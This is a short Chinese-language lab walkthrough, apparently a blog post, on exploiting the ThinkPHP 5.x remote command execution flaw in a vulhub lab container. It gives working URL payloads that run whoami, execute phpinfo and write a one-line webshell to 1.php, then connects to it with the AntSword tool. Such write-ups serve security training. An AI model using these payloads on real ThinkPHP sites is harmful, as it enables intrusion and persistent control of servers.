Thinkphp5x远程命令执行 靶场攻略

环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://172.16.1.198:8080/

2.远程命令执⾏

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]

\]=whoami ![](https://i-blog.csdnimg.cn/direct/16753b4fd3bb4544bdb52b2109a6e6f3.png) #### 3.远程代码执行 POC: ?s=/Index/\\think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=phpinfo\&vars\[ 1\]\[\]=-1 ![](https://i-blog.csdnimg.cn/direct/6a91a4e3c31e4e63a88d3ab5d65d24cf.png) #### 4.写入一句话木马到根目录下的1.php POC: ?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=echo "\" \> 1.php ![](https://i-blog.csdnimg.cn/direct/732b49aa73e14b64bf6827488e1fe6d8.png) #### 5.蚁剑连接 ![](https://i-blog.csdnimg.cn/direct/400f12233e0e401290c55af68f48328a.png)

相关推荐
TAN-90°-17 分钟前
Java 3——getter和setter super()关键字
java·开发语言
wand codemonkey18 分钟前
(二十七)Maven(依赖)【安装】+【项目结构】
java·开发语言·maven
linda公馆20 分钟前
Maven项目报错:java:错误:不支持发行版本 5
java·开发语言·maven
学习中.........34 分钟前
常见设计模式
java·设计模式
敖正炀1 小时前
JDBC 到 ORM:Spring Data JDBC、JPA 与 MyBatis 的定位与选型
java
用户9186861286871 小时前
从物流查询聊策略模式:后端开发中的多策略设计
后端
Henray20241 小时前
最低公共祖先 LCA
java·面试
shehuiyuelaiyuehao1 小时前
关于进程和线程的关系
java·开发语言
bcbnb2 小时前
iOS开发中手动实现代码混淆的完整步骤与示例
后端·ios
河阿里2 小时前
SpringBoot:项目启动速度深度优化
java·spring boot·后端